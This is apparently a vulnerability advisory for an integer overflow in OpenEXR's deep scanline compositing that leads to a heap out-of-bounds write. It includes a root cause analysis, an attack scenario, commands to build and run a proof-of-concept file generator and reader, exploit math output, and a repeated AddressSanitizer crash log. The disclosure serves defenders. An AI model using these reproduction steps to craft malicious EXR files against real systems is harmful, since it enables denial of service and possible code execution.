==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670 WRITE of size 4 at 0x7ed1a55d90b0 thread T0 #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664 #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816 #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568 #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576 #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88 #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360 #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2) 0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0) allocated by thread T0 here: #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95 #1 0x7ed1dbc29600 in std::__new_allocator<float>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151 #2 0x7ed1dbc29600 in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482 #3 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381 #4 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378 #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663 #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016 #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535 #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88 #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360 #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers Shadow bytes around the buggy address: 0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa 0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==175024==ABORTING ``` ## Root cause analysis In `CompositeDeepScanLine::readPixels`: 1. Per-pixel totals are accumulated in `vector<unsigned int> total_sizes`. 2. For attacker-controlled large counts across many parts, `total_sizes[ptr]` wraps modulo `2^32`. 3. `overall_sample_count` is then derived from wrapped totals and used in `samples[channel].resize(overall_sample_count)`. 4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (`generic_unpack_deep_pointers`) overrun the undersized composite sample buffer. Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume. ## Impact Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.
PYSEC-2026-2846OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write2026-07-13vendor · osvUS
## Summary Function: `CompositeDeepScanLine::readPixels`, reachable from high-level multipart deep read flows (`MultiPartInputFile` + `DeepScanLineInputPart` + `CompositeDeepScanLine`). Vulnerable lines (`src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp`): - `total_sizes[ptr] += counts[j][ptr];` (line ~511) - `overall_sample_count += total_sizes[ptr];` (line ~514) - `samples[channel].resize (overall_sample_count);` (line ~535) Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in `generic_unpack_deep_pointers` (`src/lib/OpenEXRCore/unpack.c:1374`) (DoS/Crash, memory corruption/RCE). Attack scenario: - Attacker provides multipart deep EXR with many parts and very large sample counts per pixel. - Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure. - The overflow happens in composite sample accounting (`unsigned int`), while pointer progression for decode uses larger counters and reaches out-of-bounds. Tested on: `OpenEXR 4.0.0-dev` (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0 ## Steps to reproduce [composite_deepscanline_poc_bundle.patch](https://github.com/user-attachments/files/25383205/composite_deepscanline_poc_bundle.patch) PoC files used: - Writer/generator: `poc/composite_deep_scanline_e2e_compressed_poc.cpp` - Minimal high-level reader harness: `poc/simple_exr_reader.cpp` The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select `DEEPSCANLINE`, add sources to `CompositeDeepScanLine`, bind a normal `FrameBuffer`, then call `readPixels`. Build with ASAN/UBSAN: ```bash cmake -S . -B build-asan \ -DOPENEXR_BUILD_POC=ON \ -DCMAKE_BUILD_TYPE=RelWithDebInfo \ -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \ -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined' cmake --build build-asan --target composite_writer simple_exr_reader -j ``` Generate malicious file (decode-path focused profile): ```bash ASAN_OPTIONS=detect_leaks=0 timeout 180s \ ./build-asan/poc/composite_writer \ --profile low-ram \ --file /tmp/composite_decode_focus.exr ``` Trigger: ```bash ASAN_OPTIONS=detect_leaks=0 timeout 30s \ ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr ``` ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration. ## Example runs Writer (abbrev): ```bash ❯ ./build-asan/poc/composite_writer exploit math: benign samples : 300 malicious parts : 86 malicious samples per part : 50000000 true total samples : 4300000300 uint32 overflow reached : yes wrapped uint32 total : 5033004 composite Z/A alloc from wrap : 40264032 bytes (38.40 MiB) per-part unpacked sample bytes : 300000000 bytes (286.10 MiB) min parts to overflow (current benign/samples): 86 writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr writing donor malicious part (50000000 samples) copying malicious part 1/86 from donor chunk ... file size: 26112896 bytes (24.90 MiB) ``` Reader ASAN crash: ```bash ❯ ./build-asan/poc/simple_exr_reader reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts ================================================================= ==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670 WRITE of size 4 at 0x7ed1a55d90b0 thread T0 #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664 #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816 #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568 #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576 #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88 #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360 #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2) 0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0) allocated by thread T0 here: #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95 #1 0x7ed1dbc29600 in std::__new_allocator<float>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151 #2 0x7ed1dbc29600 in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482 #3 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381 #4 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378 #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663 #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016 #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535 #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88 #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360 #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers Shadow bytes around the buggy address: 0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa 0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==175024==ABORTING ``` ## Root cause analysis In `CompositeDeepScanLine::readPixels`: 1. Per-pixel totals are accumulated in `vector<unsigned int> total_sizes`. 2. For attacker-controlled large counts across many parts, `total_sizes[ptr]` wraps modulo `2^32`. 3. `overall_sample_count` is then derived from wrapped totals and used in `samples[channel].resize(overall_sample_count)`. 4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (`generic_unpack_deep_pointers`) overrun the undersized composite sample buffer. Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume. ## Impact Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.

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cnnvd enisa_euvd fstec_bdu osv cert_bund suse_csaf NVD CVE.org MITRE

published 2026-03-03modified 2026-10-08

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